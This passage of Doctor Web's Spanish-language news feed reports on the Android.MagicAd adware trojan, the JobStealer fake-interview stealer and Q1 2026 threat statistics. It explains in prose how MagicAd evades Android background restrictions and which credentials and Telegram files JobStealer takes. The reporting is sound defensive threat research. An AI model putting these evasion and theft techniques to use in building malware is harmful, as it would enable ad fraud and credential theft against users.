De este modo, le ofrecemos una solución para cada necesidad: simplicidad, de forma gratuita; máxima flexibilidad, por tan solo 5 euro por 5 días o 10 euro por 10 días.
El lanzamiento de Dr.Web CureIt! Pro está previsto para principios de julio. Una semana antes, ofreceremos a todos los usuarios acceso gratuito a todas las funciones de la versión Pro, para que puedan evaluarlas antes de tomar una decisión.

El troyano Android.MagicAd muestra publicidad saltándose todas las restricciones

Fri, 05 Jun 2026 01:00:00 GMT

Los expertos del laboratorio antivirus de Doctor Web han detectado el programa troyano Android.MagicAd, que utiliza varios métodos para esquivar las restricciones del sistema operativo Android y mostrar publicidad mientras se ejecuta en segundo plano. Uno de estos métodos es universal, mientras que otros están diseñados para dispositivos de determinados fabricantes. Entre ellos se encuentran la explotación de aplicaciones de terceros, así como el uso del reproductor multimedia del sistema.

Android.MagicAd.1 se propagaba a través del catálogo oficial de aplicaciones GetApps para dispositivos Xiaomi y permanecía oculto en más de 50 juegos y programas diferentes. Estas aplicaciones aparecían en la tienda durante un breve periodo de tiempo — por lo general, menos de un mes — y después desaparecían, siendo sustituidas por otras nuevas. Es posible que, de este modo, los ciberdelincuentes intentaran proteger Android.MagicAd.1 de a una detección prematura, manteniendo al mismo tiempo su actividad: tras ser eliminados de la tienda, los programas troyanos continúan instalados en los dispositivos de los usuarios y pueden seguir llevando a cabo actividades maliciosas. Actualmente, ninguna de las aplicaciones identificadas por nosotros con Android.MagicAd.1 está disponible para su descarga en el catálogo GetApps, y los desarrolladores que las distribuían han dejado de publicar nuevas aplicaciones con este troyano.

La investigación realizada por los analistas de virus de Doctor Web ha demostrado que las primeras versiones de Android.MagicAd.1 aparecieron en 2025 y, además del catálogo GetApps, también se detectaron en Samsung Galaxy Store.

Unos ejemplos de juegos y aplicaciones del catálogo GetApps en los que se ocultaba Android.MagicAd.1. En el momento de la publicación de esta noticia, estas y otras variantes del troyano ya no estaban disponibles para su descarga

Una parte de las funciones maliciosas de Android.MagicAd.1 está en módulos dex ocultos dentro de bibliotecas nativas cifradas ubicadas en el directorio de recursos del troyano. Durante su ejecución, este descifra dichas bibliotecas, extrae de ellas sus componentes y los pone en funcionamiento.

Antes de comenzar a mostrar publicidad, el troyano realiza una serie de comprobaciones para asegurarse de que su entorno es seguro. Por ejemplo, busca indicios de ejecución en un entorno virtual, verifica si su instalación se ha producido de forma orgánica, comprueba que la dirección IP del dispositivo infectado no figure en su lista negra, etc.

Si Android.MagicAd.1 no detecta actividad sospechosa, oculta su icono de la lista de aplicaciones del menú principal. A continuación, crea un canal de notificaciones a través del cual inicia varios servicios maliciosos persistentes necesarios para funcionar en segundo plano cuando la ventana de la aplicación maliciosa está cerrada. Después, mediante el programador de tareas, Android.MagicAd.1 crea una tarea que reinicia periódicamente los servicios encargados de supervisar el funcionamiento del canal de notificaciones y, si es necesario, volver a activarlo. Además, en dispositivos con versiones relativamente antiguas del sistema operativo Android, el troyano activa una pantalla virtual para evitar que el sistema interrumpa el funcionamiento de uno de sus componentes.

Para mostrar publicidad en segundo plano cuando su ventana está cerrada, Android.MagicAd.1 utiliza varias técnicas, seleccionadas en función del fabricante del dispositivo infectado. Estas se implementan sin solicitar explícitamente el permiso del sistema SYSTEM_ALERT_WINDOW que permite a una aplicación mostrarse por encima de otros programas.

Independientemente del método utilizado, todos los banners publicitarios se cargan en forma de actividades semitransparentes (Translucent Activity), lo que permite al troyano mostrarlos por encima de las ventanas existentes.

Unos ejemplos de la publicidad mostrada por Android.MagicAd.1

Una de las técnicas se implementa mediante intenciones (Intent) dirigidas a otras aplicaciones. Esto permite al troyano esquivar las restricciones de las versiones modernas de Android, que impiden que las aplicaciones se inicien a sí mismas. Dependiendo del modelo del dispositivo infectado, mediante esta técnica Android.MagicAd.1 muestra directamente los anuncios o bien «obliga» a las aplicaciones objetivo a mostrar banners publicitarios.

En una de las variantes de este método, los objetivos del troyano son:

el navegador Mi Browser en dispositivos Xiaomi;
un entorno gráfico Miui SystemUI en dispositivos Xiaomi;
el lanzador Amazon Fire TV Home Screen en dispositivos Amazon TV.

Todas ellas son aplicaciones del sistema en los dispositivos correspondientes, por lo que pueden procesar intenciones incluso cuando no han sido iniciadas directamente por el usuario. Mientras estas aplicaciones permanezcan activas y puedan recibir intenciones, Android.MagicAd.1 puede utilizarlas para mostrar anuncios.

Cabe destacar que, si Mi Browser está instalado en un dispositivo Xiaomi como aplicación no perteneciente al sistema, el troyano también puede utilizar este navegador para mostrar publicidad, siempre que su ventana permanezca abierta.

Cuando Android.MagicAd.1 detecta Mi Browser en un dispositivo compatible, envía a su componente DEX (detectado por Dr.Web como Android.MagicAd.1.origin) una intención diferida para iniciar la publicidad. Este componente genera su propia intención a partir de ella y la transmite al navegador, que extrae la intención original y, de acuerdo con la misma, muestra la publicidad.

La interacción con los otros dos programas es algo diferente, ya que se utilizan para activar el troyano desde el modo de ejecución en segundo plano. En primer lugar, Android.MagicAd.1 envía al módulo Android.MagicAd.1.origin una intención diferida para iniciar la publicidad, y este transmite a las aplicaciones objetivo una intención propia para activarse. Si se trata de Miui SystemUI, esta responde enviando su propia intención para iniciar el módulo. Si, por el contrario, la aplicación objetivo es Amazon Fire TV Home Screen, inicia el módulo directamente mediante el nombre de su paquete. Una vez que obtiene el control, el módulo Android.MagicAd.1.origin muestra la publicidad que recibió en la intención diferida enviada por la aplicación maliciosa principal.

Si el troyano no consigue mostrar la publicidad, intenta utilizar este método dos veces más. En caso de que siga sin éxito, trata de mostrar los anuncios directamente, sin recurrir ya a las intenciones diferidas ni a su módulo dex malicioso.

Otra variante de este método es similar a la anterior y se utiliza para usar aplicaciones en dispositivos Vivo. La diferencia radica en que la publicidad se inicia mediante Android Binder, un componente del sistema que permite la comunicación entre procesos. En este caso, el troyano tiene como objetivo las siguientes aplicaciones del sistema:

iManager,
Contactos,
Vivo Browser,
Baidu IME Customized.

Android.MagicAd.1 las inicia a través de Android Binder, enviándole intenciones convencionales mediante el contenedor de datos Parcel. Estas aplicaciones posteriormente activan el componente troyano Android.MagicAd.1.origin que, tras salir del modo de ejecución en segundo plano, muestra la publicidad.

Android.MagicAd.1 también incorpora varias técnicas adicionales para mostrar publicidad mientras se ejecuta en segundo plano, entre ellas el uso del reproductor multimedia. A diferencia de los métodos dirigidos a dispositivos específicos, esta técnica es universal y funciona en la mayoría de los modelos de distintos fabricantes. Android.MagicAd.1 descifra un archivo de audio oculto en su código y lo guarda en su directorio de trabajo. A continuación, el malware inicia una instancia propia del reproductor multimedia del sistema, configura el volumen al mínimo y la vincula al sistema global de control multimedia de Android.

Posteriormente, para mostrar la publicidad, Android.MagicAd.1 instala un receptor de difusión que monitoriza las pulsaciones realizadas en dicho reproductor. Después, mediante un comando especial de ADB, el troyano simula acciones del usuario pulsando el botón de grabación del reproductor y cerrando inmediatamente su ventana. Al pulsar este botón, se activa el receptor multimedia del sistema, lo que permite a Android.MagicAd.1 tomar el control y mostrar la publicidad.

Dr.Web Security Space para dispositivos móviles detecta y elimina de forma segura todas las versiones conocidas del malware Android.MagicAd.1, por lo que nuestros usuarios están protegidos de esta amenaza.

Indicadores de compromiso

Más información sobre Android.MagicAd.1

Más información sobre Android.MagicAd.1.origin

En vez de trabajo: datos y dinero robados. En aplicaciones falsas para entrevistas online se oculta un troyano ladrón que ataca a usuarios de macOS y Windows

Wed, 27 May 2026 02:00:00 GMT

Los expertos de Doctor Web advierten sobre la propagación del troyano JobStealer, que roba información confidencial de usuarios de ordenadores con macOS y Windows. Su principal objetivo es el robo de datos de monederos de criptomonedas. Bajo el pretexto de realizar entrevistas online, los estafadores atraen a posibles víctimas a sitios web maliciosos donde les ofrecen instalar una aplicación de videoconferencia. En realidad, ese software es el propio troyano JobStealer.

El ataque comienza cuando los delincuentes contactan con posibles víctimas y les ofrecen una determinada vacante. Invitan a los usuarios a realizar una entrevista y les proporcionan enlaces a sitios web de supuestas «plataformas» para reuniones online, supuestamente para conectarse a una videoconferencia. Estos sitios parecen profesionales, pero en realidad son fraudulentos. Desde ellos se descarga el malware JobStealer bajo la apariencia de un programa para conferencias online. Además, los ciberdelincuentes utilizan varios diseños para estos recursos web y cambian también el nombre del propio programa. Nuestros expertos han encontrado variantes con nombres como MeetLab, Juseo, Meetix, Carolla y otros. En algunos casos, los ciberdelincuentes utilizan nombres de servicios reales, como Webex.

Unos ejemplos de sitios web de falsos servicios de conferencias online desde los que se descarga JobStealer

Para que los usuarios crean que las plataformas funcionan realmente, los estafadores crean canales correspondientes en Telegram y cuentas en redes sociales, por ejemplo en X.

Para hacer pasar el troyano por software legítimo, los delincuentes imitan actividad en las redes sociales

Para instalar el programa en dispositivos con macOS, a los visitantes de los sitios maliciosos se les ofrecen dos opciones:

copiar y ejecutar en el terminal el comando bash indicado en el sitio web;
descargar un archivo de imagen de disco en formato .dmg y ejecutarlo.

El troyano JobStealer se descarga desde sitios maliciosos tanto en forma de contenedor dmg como mediante la ejecución de un comando bash en el terminal

En el primer caso, al ejecutar el comando en el terminal, se descarga automáticamente de Internet y se ejecuta un script que descarga y lanza el archivo ejecutable de JobStealer (detectado como Mac.PWS.JobStealer.1).

En el segundo caso, la imagen dmg ofrecida para descarga ya contiene los archivos mencionados anteriormente. Al montarla, muestra instrucciones para la «instalación» de la aplicación. En ellas se indica que el usuario debe abrir el terminal y arrastrar al mismo la secuencia de comandos incluida. En realidad, en vez de instalar el software de videoconferencia, el script ejecutará el archivo troyano.

Una imagen con instrucciones que se muestra al abrir el archivo de imagen con el troyano JobStealer

Mac.PWS.JobStealer.1 es un archivo ejecutable contenedor en formato Fat Mach-O y contiene código binario para varias arquitecturas de procesador a la vez: x64 y arm64. En función de la plataforma del ordenador infectado, al ejecutar el troyano se utiliza automáticamente el componente correspondiente al procesador de destino.

Cabe señalar que existen varias versiones de Mac.PWS.JobStealer.1. Las variantes más antiguas del malware no eran compatibles con ordenadores Mac con arquitectura arm64. Además, carecían de ofuscación, que los creadores del malware comenzaron a añadir y reforzar conforme actualizaban el stealer.

Tras ejecutarse, Mac.PWS.JobStealer.1 muestra una ventana de phishing en la que informa de un supuesto error de funcionamiento. Para «solucionarlo», el malware solicita al usuario que introduzca la contraseña de su cuenta.

Una ventana de phishing en la que se solicita la contraseña de la cuenta del usuario de Mac

Posteriormente Mac.PWS.JobStealer.1 recaba los datos siguientes:

versión del sistema operativo y el identificador del ordenador;
datos de unas 300 extensiones de navegador de monederos de criptomonedas instaladas en los navegadores objetivo basados en Chromium (Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc, CocCoc);
archivos cookie de estos navegadores;
contraseñas y datos de tarjetas bancarias guardados en las listas de autocompletado del navegador;
archivos del messenger Telegram de los directorios /Library/Application Support/Telegram Desktop/tdata y /Documents/temp_data/Apps/Telegram donde se almacenan claves de sesión de autorización, archivos descargados, etc.;
notas del usuario de la aplicación Notes nativa de macOS;
presencia en el sistema de las aplicaciones de monederos de criptomonedas Ledger Live y Trezor Suite.

Estos datos se almacenan en un archivo ZIP y se cargan en el servidor C2.

Los creadores de virus también han preparado una versión del troyano JobStealer para ordenadores con sistema operativo Windows. Su funcionalidad es similar a la de la versión para macOS. Además, en algunos sitios maliciosos que distribuyen el stealer existen secciones para descargar la aplicación para otros sistemas operativos populares. Sin embargo, por el momento nuestros analistas de virus no han detectado su distribución. Por ejemplo, el botón de descarga para Linux está inactivo o redirige a la versión del troyano para Windows. Y en las secciones de descarga para dispositivos con iOS y Android se indica que esas versiones están en desarrollo. No obstante, no se puede descartar que en el futuro los atacantes comiencen a distribuir variantes del troyano también para estas plataformas.

Los sitios web maliciosos podrían distribuir potencialmente versiones del troyano JobStealer para Linux, iOS y Android

Todas las modificaciones conocidas del malware JobStealer son detectadas y eliminadas de forma fiable por los productos antivirus Dr.Web Security Space para macOS y Windows, y no son de amenaza para nuestros usuarios. Los sitios fraudulentos que distribuyen el troyano han sido añadidos a la base de recursos no recomendados y peligrosos, y también son bloqueados por Dr.Web.

MITRE ATT&CK®

Hemos analizado el malware JobStealer utilizando el framework MITRE ATT&CK®, que consiste en una matriz con descripciones de las tácticas y técnicas empleadas por los ciberdelincuentes para atacar sistemas de información. Como resultado, se identificaron las siguientes técnicas clave:

Etapa	Técnica
Ejecución	Ejecución con intervención del usuario (T1204) Copiado y pegado malicioso (T1204.004) Archivo malicioso (T1204.002)
Detección	Detección de archivos y directorios (T1083)
Recopilación de datos	Recopilación automatizada (T1119) Datos del sistema local (T1005) Credenciales de almacenes de contraseñas (T1555) Credenciales del llavero (T1555.001) Credenciales de navegadores (T1555.003) Captura de entradas del usuario (T1056) Captura de entradas en la interfaz gráfica de usuario (T1056.002) Archivado de los datos recopilados (T1560)
Mando y control	Servicio web (T1102)
Exfiltración de datos	Exfiltración automatizada (T1020) Exfiltración a través del canal de mando y control (T1041) Exfiltración mediante servicio web (T1567)

Más información sobre Mac.PWS.JobStealer.1

Indicadores de compromiso

Cambio en los plazos de soporte de los productos Dr.Web

Tue, 26 May 2026 11:46:48 GMT

De conformidad con la política del ciclo de vida, se han ampliado los plazos de soporte de varios productos Dr.Web.

Centro de Control Dr.Web Enterprise Security Suite, versión 13.0
Dr.Web Industrial, versión 13.0

Como parte de Dr.Web Desktop Security Suite:

Dr.Web 12.0 para estaciones de trabajo Windows
Dr.Web 12.0 para estaciones de trabajo macOS
Dr.Web 11.1 para estaciones de trabajo Linux
Dr.Web Katana Business Edition 1.0

Como parte de Dr.Web Server Security Suite:

Dr.Web 12.0 para servidores Windows
Dr.Web 11.1 para servidores UNIX
Dr.Web 12.0 para servidores macOS

Como parte de Dr.Web Mail Security Suite:

Dr.Web 11.1 para servidores de correo UNIX
Dr.Web 12.0 para Microsoft Exchange Server

Como parte de Dr.Web Gateway Security Suite:

Dr.Web 11.1 para Gateways de Internet UNIX

Como parte de Dr.Web Mobile Security Suite:

Dr.Web 12.0 para dispositivos móviles Android

La información actualizada sobre los plazos de soporte está disponible en la página del ciclo de vida de los productos.

Doctor Web: informe de la actividad de virus en el I trimestre de 2026

Wed, 01 Apr 2026 00:00:00 GMT

1 de abril de 2026

Según las estadísticas de detecciones del antivirus Dr.Web, en el I trimestre de 2026 el número total de amenazas detectadas disminuyó un 6,77 % en comparación con el IV trimestre del año pasado. El número de amenazas únicas se redujo un 11,98 %. En los dispositivos protegidos se detectaron con mayor frecuencia adware y troyanos publicitarios, malware descargador, así como backdoors.

En el tráfico de correo, lo más habitual fueron scripts maliciosos, backdoors y diversas aplicaciones troyanas. A través de correos electrónicos, los atacantes también distribuían documentos de phishing y exploits.

Los usuarios cuyos archivos se vieron afectados por troyanos cifradores se enfrentaron con mayor frecuencia a los cifradores Trojan.Encoder.35534, Trojan.Encoder.29750 y Trojan.Encoder.41868.

En el I trimestre de 2026, los analistas de internet de la empresa Doctor Web detectaron nuevos sitios de phishing, incluidos recursos falsos de entidades de crédito y marketplaces, así como una serie de otros sitios no deseados.

En el segmento de los dispositivos móviles se observó un aumento de la actividad de los troyanos bancarios. Al mismo tiempo, nuestros analistas de virus señalaron un incremento de la popularidad de la técnica de protección del malware frente a la detección por parte del software antivirus, que consiste en añadirles código basura.

En enero, los expertos de Doctor Web informaron sobre los troyanos clicker Android.Phantom, que utilizan aprendizaje automático y retransmisiones de vídeo para inflar artificialmente los clics en sitios web. Además, durante los últimos 3 meses hemos registrado la aparición de nuevo malware en el catálogo de Google Play, así mismo, de troyanos que suscribían a los usuarios a servicios de pago.

Principales tendencias del I trimestre

Se redujo el número de amenazas detectadas en los dispositivos protegidos
Entre las amenazas detectadas disminuyó el número de archivos únicos
En comparación con el periodo de observación anterior, se registraron menos solicitudes de descifrado de archivos afectados por programas troyanos cifradores
Continuó el crecimiento de la actividad de los troyanos bancarios para dispositivos Android
Los usuarios estuvieron amenazados por malware clicker Android.Phantom, que utiliza, entre otras cosas, tecnologías de aprendizaje automático para inflar artificialmente los clics en sitios web
En el catálogo de Google Play se detectó nuevo malware

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más populares del I trimestre de 2026

Trojan.Siggen31.34463: Un troyano creado en el lenguaje de programación Go y destinado a descargar en el sistema objetivo varios mineros y adware. El malware es un archivo DLL y se encuentra en %appdata%\utorrent\lib.dll. Para su ejecución explota una vulnerabilidad de la clase DLL Search Order Hijacking en el cliente torrent uTorrent.
Adware.Downware.20655
Adware.Downware.20766: Un adware que actúa como instalador intermedio de programas pirata.
Trojan.BPlug.4268: Detección de un componente malicioso de la extensión de navegador WinSafe. Este componente es un script JavaScript que muestra publicidad intrusiva en los navegadores.
Adware.Siggen.33379: Falso bloqueador de publicidad para navegador Adblock Plus, que se instala en el sistema mediante otro malware con el fin de mostrar publicidad.

Estadísticas de malware en el tráfico de correo

Las amenazas más populares del I trimestre del año 2026 en el tráfico de correo

JS.DownLoader.1225: Detección heurística para archivos ZIP que contienen scripts JavaScript con nombres sospechosos.
W97M.DownLoader.2938: Familia de troyanos descargadores que utilizan vulnerabilidades de documentos de Microsoft Office. Están destinados a descargar otro malware en el ordenador atacado.
Exploit.CVE-2017-11882.123
Exploit.CVE-2018-0798.4: Exploits para aprovechar vulnerabilidades en software de Microsoft Office, que permiten ejecutar código aleatorio.
JS.Redirector.514: Script malicioso que redirige al usuario a una página web controlada por los atacantes.

Cifradores

En el I trimestre de 2026, el número de solicitudes de descifrado de archivos afectados por programas troyanos cifradores se redujo un 31,51 % en comparación con el IV trimestre del año anterior. El descenso se produjo en el contexto de las vacaciones de Año Nuevo y los largos días festivos relacionados con ellas, durante los cuales algunos ciberdelincuentes podían suspender su actividad e irse de vacaciones. Al mismo tiempo, los usuarios que sí resultaron afectados por ataques de troyanos cifradores en ese periodo podían no reaccionar inmediatamente ante los incidentes ocurridos.

Dinámica de recepción de solicitudes de descifrado en el Servicio de Soporte Técnico de Doctor Web:

Cifradores más populares del I trimestre de 2026

Trojan.Encoder.35534 — 15,59% de solicitudes de usuarios
Trojan.Encoder.29750 — 3,23% de solicitudes de usuarios
Trojan.Encoder.41868 — 3,23% de solicitudes de usuarios
Trojan.Encoder.26996 — 1,62% de solicitudes de usuarios
Trojan.Encoder.44383 — 1,61% de solicitudes de usuarios

Fraudulencias en la red

Durante los últimos 3 meses, los analistas de internet de la empresa Doctor Web detectaron una serie de nuevos sitios falsos de marketplaces. En ellos, los atacantes ofrecen participar en una «liquidación» de supuestos pedidos no recogidos. El esquema fraudulento es el siguiente: los artículos «no reclamados» de los pedidos se dividen en distintas categorías (electrónica, ropa, calzado, cosmética, etc.) y supuestamente se colocan en las correspondientes cajas sorpresa. Se desconoce su contenido y este puede incluir, entre otras cosas, artículos caros. Al mismo tiempo, a las potenciales víctimas se les ofrece comprar esas cajas por un precio relativamente bajo, lo que constituye el principal gancho.

Un sitio falso del marketplace promete una «liquidación de pedidos no reclamados» que supuestamente están desbordando los almacenes

Cuando el usuario elige una de las cajas, se le propone tramitar el pedido e indicar los datos personales, que pueden incluir nombre y apellidos, número de teléfono móvil y dirección de correo electrónico. Después se le redirige a una página de pago a través del Sistema de Pagos Instantáneos. Como resultado, la víctima pierde dinero y entrega la información confidencial a los estafadores.

Una vez tramitado el «pedido», se propone a la víctima pagarlo a través del Sistema de Pagos Instantáneos

Nuestros expertos también detectaron múltiples sitios de servicios que ofrecen varios servicios financieros, por ejemplo, la posibilidad de obtener bastante un micropréstamo, un crédito bastante rápido o pasar por un procedimiento de quiebra. Tales servicios no prestan por sí mismos esos servicios, como esperan los usuarios, y son solo intermediarios entre los clientes y las organizaciones financieras. De pago, dan acceso a una selección de opciones potencialmente adecuadas, mientras que la agregación de este tipo de ofertas financieras está disponible en fuentes gratuitas. Además, estos servicios no garantizan un resultado satisfactorio al presentar la solicitud. Al mismo tiempo, el pago por el acceso no es único, sino que constituye una suscripción de pago con cargos periódicos.

Uno de los sitios web en los que el acceso al servicio de selección de ofertas financieras es de pago y se formaliza en forma de suscripción

En algunos casos, este tipo de recursos puede inducir a error a los usuarios, ofreciendo un servicio, por ejemplo, empleo, pero en realidad proporcionando acceso a las mismas ofertas financieras para la obtención de créditos, micropréstamos, etc mediante suscripción.

Un sitio web promete ayuda en la búsqueda de empleo, pero tras pagar el acceso al servicio, en lugar de una lista de vacantes puede proporcionar ofertas financieras de socios para obtener un crédito, un micropréstamo y similares

Entre los sitios de phishing detectados en el I trimestre había recursos falsos en Internet de la carrera benéfica «Maratón Verde». En ellos se ofrece a los visitantes registrarse para participar en el maratón; sin embargo, estos sitios no guardan relación con el evento y han sido creados para recopilar datos confidenciales de los usuarios.

Uno de los sitios falsos de la carrera «Maratón Verde»

Los analistas de internet de Doctor Web también detectaron nuevos sitios falsos de servicios de inversión, supuestamente relacionados con distintas entidades de crédito. Entre ellos había sitios orientados a público de Rusia, Kazajistán y otros países. Los estafadores prometen a las potenciales víctimas altos beneficios y, para «acceder» a las pseudoplataformas de inversión, les piden completar una breve encuesta y registrar una cuenta, indicando información personal.

Un ejemplo de sitio de phishing que los atacantes hacen pasar por el recurso oficial del servicio de inversión de uno de los bancos rusos

Un ejemplo de sitio de phishing que los atacantes hacen pasar por el recurso oficial del servicio de inversión de una de las entidades de crédito de Kazajistán

Conozca más sobre los sitios web no recomendados por el antivirus Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos de las estadísticas de detecciones de Dr.Web Security Space para dispositivos móviles, en el I trimestre de 2026 continuó el crecimiento de la actividad de los troyanos bancarios Android.Banker, que se había observado en el IV trimestre del año anterior. Los más frecuentes entre ellos fueron representantes de la subfamilia Android.Banker.Mamont. Al mismo tiempo, volvió a reducirse el número de detecciones de los troyanos publicitarios Android.MobiDash y Android.HiddenAds.

Entre el software potencialmente peligroso detectado, encabezaban la lista los programas en los que, mediante herramientas de modding, se había insertado código basura (se detectan como Tool.Obfuscator.TrashCode). Esta técnica se emplea actualmente de forma activa para proteger los troyanos bancarios frente a su detección por los antivirus. Además, seguían siendo frecuentes las aplicaciones modificadas con la utilidad NP Manager (se detectan como Tool.NPMod).

El software no deseado detectado con mayor frecuencia fueron los falsos antivirus Program.FakeAntiVirus, que para «eliminar» las supuestas amenazas detectadas exigen comprar la versión completa. El adware más activo en el I trimestre fueron los programas Adware.Bastion.1.origin y Adware.Opensite.15. Los primeros son aplicaciones optimizadoras que crean notificaciones con mensajes sobre una supuesta falta de memoria y errores del sistema para mostrar publicidad durante la «optimización». Los segundos son falsos programas de trucos para obtener diversos recursos en juegos, pero en realidad solo cargan sitios web con publicidad.

En enero de 2026, nuestro laboratorio antivirus advirtió sobre los troyanos clicker Android.Phantom. Este malware utiliza aprendizaje automático y retransmisiones de vídeo para inflar artificialmente los clics en sitios web. Los ciberdelincuentes lo distribuían de varias maneras a la vez: a través del catálogo GetApps para dispositivos Xiaomi, canales de Telegram, servidores de Discord, recopilaciones de software de terceros y sitios maliciosos.

Durante los últimos 3 meses, los analistas de virus de Doctor Web detectaron en el catálogo de Google Play nuevas amenazas, entre las que había aplicaciones troyanas Android.Joker y Android.Subscription, destinadas a suscribir a los usuarios a servicios de pago.

Los eventos más destacados vinculados a la seguridad “móvil” en el I trimestre

Los troyanos bancarios Android.Banker se convirtieron en las amenazas más frecuentes para los dispositivos Android
Los ciberdelincuentes utilizaron con mayor frecuencia utilidades para el modding de aplicaciones Android, con el fin de proteger los troyanos bancarios frente a su detección por los antivirus
Continuó la tendencia a la disminución de la actividad de los troyanos publicitarios Android.MobiDash y Android.HiddenAds
Los usuarios estuvieron amenazados por los troyanos Android.Phantom, que utilizan aprendizaje automático y retransmisiones de vídeo para inflar artificialmente los clics en sitios web
En el catálogo de Google Play volvió a difundirse malware

Lea con más detalle sobre la situación viral para dispositivos móviles en el I trimestre de 2026 en nuestro informe.

Doctor Web: informe de la actividad de virus para dispositivos móviles en el I trimestre de 2026

Wed, 01 Apr 2026 00:00:00 GMT

1 de abril de 2026

Según los datos de las estadísticas de detecciones de Dr.Web Security Space para dispositivos móviles, en el I trimestre de 2026 continuó el descenso de la actividad del malware Android.MobiDash y Android.HiddenAds, que muestra publicidad molesta. Los primeros se detectaron en los dispositivos protegidos un 32,70 % menos, y los segundos, un 7,09 % menos en comparación con el IV trimestre del pasado año. Cedieron el liderazgo a los troyanos bancarios de la familia Android.Banker, cuya actividad aumentó más de 2,5 veces en los últimos 3 meses. Como resultado, estos se convirtieron en las amenazas para Android más extendidas. Este malware intercepta SMS con códigos de confirmación de operaciones bancarias, muestra ventanas de phishing y también puede imitar el aspecto del software bancario auténtico para robar datos confidenciales. Los usuarios se enfrentaron con mayor frecuencia a los troyanos de la subfamilia Android.Banker.Mamont, de la que forman parte diversas muestras de malware.

En el I trimestre se generalizó ampliamente el uso de aplicaciones a las que, con ayuda de herramientas de hacking para el modding NP Manager, se añadió código basura con el fin de confundir la lógica (15,35 % del número total de detecciones). Desde el otoño del año pasado, estas herramientas se utilizan activamente en los troyanos de la familia Android.Banker.Mamont para dificultar su detección por los antivirus, por lo que advertimos de que una u otra aplicación ha sido modificada. Los productos antivirus Dr.Web detectan este tipo de programas como Tool.Obfuscator.TrashCode.

Otro software potencialmente peligroso muy popular, a pesar del descenso del número de detecciones en un 31,65 %, volvió a ser el de los programas modificados con la utilidad NP Manager (detectados por Dr.Web como Tool.NPMod). Esta utilidad contiene varios módulos para la protección y ofuscación del código de los programas, así como para esquivar la verificación de su firma digital después de la modificación. Los ciberdelincuentes la utilizan para proteger el malware con el fin de dificultar su detección por los antivirus.

Las aplicaciones no deseadas más populares fueron los falsos antivirus Program.FakeAntiVirus, que supuestamente detectan amenazas y exigen adquirir la versión completa para su «eliminación». Además, los usuarios volvieron a enfrentar programas de las familias Program.FakeMoney y Program.CloudInject. Los primeros supuestamente permiten ganar dinero realizando varias tareas. Los segundos son software modificado a través del servicio en la nube CloudInject. Con su ayuda, a las aplicaciones se les añaden permisos del sistema peligrosos y código ofuscado cuya funcionalidad no se puede controlar.

Entre el adware, los líderes por número de detecciones fueron los programas optimizadores Adware.Bastion.1.origin. De forma periódica, crean notificaciones con mensajes engañosos sobre una supuesta falta de memoria y errores del sistema. Su objetivo es mostrar publicidad durante la «optimización». Otro adware popular fueron las aplicaciones Adware.Opensite.15, que los atacantes hacen pasar por herramientas de trucos para obtener recursos en juegos. En realidad, estos programas cargan diversos sitios con anuncios. También volvieron a difundirse programas con módulos publicitarios integrados Adware.AdPush.

En enero, la empresa Doctor Web informó a los usuarios sobre Android.Phantom, una nueva familia de troyanos clicker. Nuestros analistas de virus detectaron varias fuentes de distribución de este malware. Entre ellas, el catálogo oficial de aplicaciones GetApps para dispositivos Xiaomi, donde los troyanos fueron incorporados en varios juegos. Además, los ciberdelincuentes distribuían los clickers junto con mods de aplicaciones populares a través de varios canales de Telegram, servidores de Discord, recopilaciones de software en línea y sitios maliciosos.

Con ayuda de Android.Phantom, los atacantes inflan artificialmente los clics publicitarios en sitios web, utilizando para ello tecnologías de aprendizaje automático y WebRTC, una tecnología de transmisión de datos en streaming (incluido vídeo) a través del navegador. Los troyanos cargan en un WebView invisible los recursos de Internet objetivo junto con código JavaScript para simular acciones del usuario. La interacción con los anuncios se produce en uno de dos modos. Si en el dispositivo es posible utilizar WebRTC, los clickers Android.Phantom transmiten a los atacantes una pantalla virtual con el sitio cargado, y estos la controlan manualmente o mediante un sistema automatizado.

Si WebRTC no está disponible, se aplican scripts automatizados en lenguaje JavaScript que utilizan el framework TensorFlowJS. Los clickers descargan desde un servidor remoto el modelo de comportamiento necesario, así como JavaScript que contiene el propio framework y todas las funciones necesarias para el funcionamiento del modelo y la interacción con los sitios objetivo.

Durante el I trimestre, el laboratorio antivirus de la empresa Doctor Web registró la aparición de nuevas amenazas en el catálogo de Google Play. Entre ellas, numerosas aplicaciones troyanas, así Android.Joker, asó como el malware Android.Subscription.23 y Android.Subscription.24. Todos ellos han sido creados para suscribir a los usuarios a servicios de pago.

Principales tendencias del I trimestre

Los troyanos bancarios Android.Banker se convirtieron en las amenazas para Android más extendidas
Los atacantes empezaron a utilizar con mayor frecuencia herramientas de modding de programas Android con el fin de proteger los troyanos bancarios
Continuó el descenso de la actividad de los troyanos publicitarios Android.MobiDash y Android.HiddenAds
Se difundieron las aplicaciones troyanas Android.Phantom, que utilizan aprendizaje
Se detectó nuevo malware en el catálogo Google Play

Según los datos Dr.Web Security Space para dispositivos móviles

Android.Banker.Mamont.80.origin: Troyano bancario que intercepta SMS con códigos de un solo uso de entidades de crédito, el contenido de las notificaciones y también recopila otra información confidencial. Esta incluye datos técnicos sobre el dispositivo infectado, la lista de aplicaciones instaladas, información sobre la tarjeta SIM, llamadas telefónicas, SMS recibidos y enviados.
Android.FakeApp.1600: Troyano que carga el sitio web especificado en su configuración. Las modificaciones conocidas de este malware cargan un sitio de casino en línea.
Android.HiddenAds.675.origin: Troyano destinado a mostrar publicidad intrusiva. Los representantes de la familia Android.HiddenAds suelen difundirse bajo la apariencia de aplicaciones inofensivas y, en algunos casos, otro malware los instala en el directorio del sistema. Una vez en los dispositivos Android, estos troyanos publicitarios suelen ocultar al usuario su presencia en el sistema; por ejemplo, «esconden» el icono de la aplicación del menú de la pantalla principal.
Android.Packed.57.origin: Detección de un ofuscador que, entre otras cosas, se utiliza para proteger malware (por ejemplo, algunas versiones de los troyanos bancarios Android.SpyMax).
Android.Click.1812: Detección de mods maliciosos del messenger WhatsApp, que pueden cargar diversos sitios en segundo plano sin autorización del usuario.

Program.FakeAntiVirus.1: Detección de programas publicitarios que imitan el funcionamiento del software antivirus. Estos programas pueden informar de amenazas inexistentes e inducir a error a los usuarios, exigiendo el pago de la versión completa.
